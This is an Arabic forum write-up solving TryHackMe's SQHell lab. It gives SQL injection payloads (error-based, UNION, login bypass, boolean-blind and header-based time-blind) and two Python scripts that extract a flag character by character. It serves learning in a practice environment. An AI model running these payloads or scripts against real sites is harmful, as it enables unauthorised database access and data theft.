مضى على الشبكة و يوم من العطاء.
  • تحذير: يجب على كل روّاد الشبكة تشغيل برامج الاختراق داخل الأنظمة الوهمية وهي بهدف التعلم وحماية الأعضاء والتوعية بها

تحدي SQHell-SQLi بالعربي

Mr_Code

مشرف سابق

السمعة:

🔻بسم الله الرحمن الرحيم🔻

sqhell_banner.png

هذا الموضوع عبارة عن Write-Up لتحدي SQHell على Try Hack Me

التحدي يتكون من خمسة أعلام كل منهم له صعوبة مختلفة.
بالبداية سنبدأ بتشغيل ال Machine
.

1710773699070.png


بعدين نفتحها بالمتصفح

1710773838991.png


أول شيء عملته إني فتحت ال Read more

1710773990289.png


مثل ما شايفين إنه فيه Parameter اسمه id. بمجرد إضافة single quote (') بنلاحظ إنه في error من قاعدة البيانات فيه تفاصيل كثير

1710774161090.png


أول شيء عرفنا إنه نوع قاعدة البيانات هي MySQL. ثاني شيء عرفنا إنه حصل الخطأ لأنه في Syntax Error ألا وهو الـ Single quote الي ضفناه.
إذا مسحنا الـ Single quote من تاني وضفنا الـ Payload التالي:


كود:
union select null-- -

1710774403021.png


راح نلاحظ إنه ظهر error مختلف ألا وهو إنه عدد الـ Columns مختلف في جملة ال Union Select , وبكذا نجرب أكتر من مرة لحتى يضبط معنا عدد الأعمدة المطلوب.
ضبط معنا بالفعل ال Payload التالي
:

كود:
union select null,null,null,null-- -

مما يعني أنه عندنا أربعة أعمدة وبالتالي الخطوة القادمة هي تحديد عمود حتى نستقبل فيه العلم الأول

1710774697545.png


السياق هنا ما هو الا Verbose Error Messages. وبكذا نفهم أنه عشان نستخرج العلم لازم نخلي قاعدة البيانات تطلع error يحتوي على العلم.
لو نتذكر من موضوع شرح ثغرة SQLi أنه كنا بنستخدم فنكشن ()CAST عشان نغير نوع الفلاج بالتالي يحدث خطأ ويظهر لنا الفلاج (flag).
راح نستخدم Technique مشابه ولكن هنا لأن قاعدة البيانات MySQL راح نستخدم البايلود التالي:


كود:
UNION SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret')))
من Portswigger عشان نتأكد إنه شغال وبعدها نبدأ نستخدمه عشان نطلع الـ flag.

1710775294109.png


بنلاحظ إنه اشتغل بالفعل وناقص فقط إنه نستخرج الفلاج بهذه الطريقة.
باستعمال البايلود التالي راح نطلع flag من table flag & column flag مثل ما موضح بالتحدي.


كود:
union select "foo",null,null,null where 1=1 AND EXTRACTVALUE(1,Concat(1,(select flag from flag)))-- -

1710775538974.png


إلا إنه بنلاحظ إنه flag مش كامل.
فكرت إنه نستخرج الـ flag على جزئين وسألت GPT وأعطاني هذا البايلود:


كود:
UNION SELECT 'foo',null,null,null WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(1, (SELECT RIGHT(flag, LENGTH(flag) / 2) FROM flag)))-- -
UNION SELECT 'foo',null,null,null WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(1, (SELECT LEFT(flag, LENGTH(flag) / 2) FROM flag)))-- -

كل بايلود راح يستخرج نصف الفلاج لأنه يوجد Character Limit أي أنه ما بنقدر نستخرج أكثر من عدد كلمات محددة.

1710775806547.png

1710775820479.png


بنضيف الجزئين على بعض وبيكون عندنا الـ flag رقم خمسة.
رائع ! الآن إلى الـ flag التالي !
عند الضغط على admin نجد الصفحة التالية:


1710795323659.png


مجدداً إذا قمنا بإضافة :
كود:
AND 1=1-- -
وايضاً
كود:
AND 1=2-- -
نرى الإختلاف في الرد, دليلًا على أنه توجد ثغرة SQLi هنا وأن الرد يختلف بناءًا على الـ Condition.

1710795648861.png


1710795687121.png


إذا حاولنا استخدام Union Select سوف نرى أن الجملة الأصلية تستخدم ثلاثة أعمدة

1710795897267.png


في هذه اللحظة استغرقت كثيرًا من الوقت محاولًا أن استخرج أي شيء من قاعدة البيانات, لكن الشيء الوحيد كان أنه يوجد مستخدم واحد فقط.
لكن عند محاولة تغيير الـ id parameter إلى أي رقم غير موجود وإدخال القيمة 1 إلى أول عمود نرى التالي:


1710796235878.png


نرى أن أول عمود يعكس قيمة الـ User ID ويعود إلينا بال Posts , إذًا توجد SQLi !
وإذا استخدمنا البايلود التالي سنرى أنه عند استخدام union select في العمود الأول فأننا احتجنا 4 أعمدة حتى نعود بالقيمة الأصلية مع وجود عمود إضافي فارغ.

كود:
2 union select "1 union select null,null,null,null",null,null-- -

1710796348807.png


بالتالي إذا أدخلنا اسم العمود الذي نريد استرجاعه flag من table flag فيمكننا استرجاع قيمة الـ flag الثالث !

1710796708987.png


الآن لا تقلق لقد انتهينا من كل الصعب حتى نترك السهل بالنهاية.

بصفحة الـ [COLOR=rgb(226, 80, 65)]login/[/COLOR] سيذهب عقلك تلقائياً إلى استخدام البايلود التالي:

كود:
admin OR 1=1-- -

طيب لماذا استعملنا admin ؟
الحقيقة لو ذهبت إلى صفحة [COLOR=rgb(226, 80, 65)]register/[/COLOR] سنلاحظ أن الإسم مستعمل بالفعل إذا حاولنا تسجيله, وأيضاً قد تم استخراج معلومة أن المستخدم الوحيد الموجود اسمه admin عندما استغرقنا وقتاً في الـ flag السابق.


1710797090721.png
1710796993314.png

1710797036507.png


انتهينا من 3 أعلام إلى الآن, رائع جداً
الآن إذا ذهبنا إلى صفحة الـ [COLOR=rgb(226, 80, 65)]register/[/COLOR] وعند استخدام Burp suite سنلاحظ التالي:


1710797339749.png


عندما نجرب إدخال admin كما قلنا فإن الرد سيكون أنه هذا المستخدم مسجل بالفعل, والذي يظهر في الرد كالتالي:

1710797440299.png

لاحظ available: false
أي أن المستخدم مسجل بالفعل , إذا استخدمنا البايلود التالي سنلاحظ أن القيمة قد تغيرت إلى true

كود:
admin'+AND+1=2-- -

1710797884578.png


بالتالي إذا حاولنا استخراج العلم سنحتاج إليى بايلود كالتالي:
كود:
admin'+AND+(substr((select+flag+from+flag+limit+0,1),1,1))+=+'T'--+-
نلاحظ أن الرد كان أيضًا false مما يدل على أن ال Condition = true; نفس حالة AND 1=1

1710798472105.png


الآن سنستعمل python script حتى نقوم بتسريع المهمة

Python:
import requests
import string
password = ''
j = 1

while(len(password) < 43):
    chars = string.digits + ':' + string.ascii_uppercase  + '{' + '}'
    for ch in chars:
            payload = f"admin'+AND+(substr((select+flag+from+flag+limit+0,1),{j},1))='{ch}'--+-"
            print(payload)
            response = requests.post(f"http://Machine_IP/register/user-check?username={payload}")
            print('false' in response.text)
            if('false' in response.text):
                password += ch
                print("Password Updated: "+ch)
                break
        
 
    j+=1
 print(password)

1710798866023.png


بالتالي يتبقى لنا flag واحد.
إذا ذهبنا إلى Try Hack me ونظرنا إلى الـ Hint سنرى التالي:

1710799012143.png



1710799083196.png


نرى التالي في هذه الصفحة:

1710799110532.png


من آخر ملحوظة نفهم أنه الموقع يستخدم Header خاص باسترجاع الـ IP الصادر منه الطلب ويقوم باستخدامه لاحقًا من أجل التحليل.
من أشهر الـ Headers المستخدمة في هذا الأمر :
  • X-Forwarded-For
  • X-Originating-IP
  • X-Remote-IP
  • X-Remote-Addr
  • X-Forwarded-Host
وعند استخدام البايلود التالي نرى أنه يوجد لدينا Blind SQLi من نوع time based

1710799292529.png


فإذا استخدمنا ال Script التالي سنكون قد استخرجنا الـ flag الأخير:
Python:
import requests
import string
password = ''
j = 1
# AND (SELECT sleep(5) FROM flag where SUBSTR(flag,1,1) = 'T') and '1'='1
while(len(password) < 43):
    chars = string.digits + ':' + string.ascii_uppercase  + '{' + '}'
    for ch in chars:
            payload = f"1' AND (SELECT sleep(2) FROM flag where SUBSTR(flag,{j},1) = '{ch}') -- -"
            print(payload)
            response = requests.get(f"http://Machine_IP/terms-and-conditions",headers = {'X-Forwarded-For':payload})
            print(response.elapsed.total_seconds())
            if(response.elapsed.total_seconds() >= 2):
                password += ch
                print("Password Updated: "+ch)
                break
         
 
    j+=1
 
print(password)
1710801825612.png


يعطيكم العافية🔻
 

المرفقات

  • 1710801973433.png
    1710801973433.png
    9.6 KB · المشاهدات: 132
التعديل الأخير بواسطة المشرف:
اللعب خش Mr_Code على Try Hack Me
هل رح يكون في منافسة @3b0-0d 🤔
 
مشاء الله تبارك الرحمن
أحسنت يا كود، مازلت أنتظر المزيد من الإبداع ❤️
 

آخر المشاركات

فانوس

رمضان
عودة
أعلى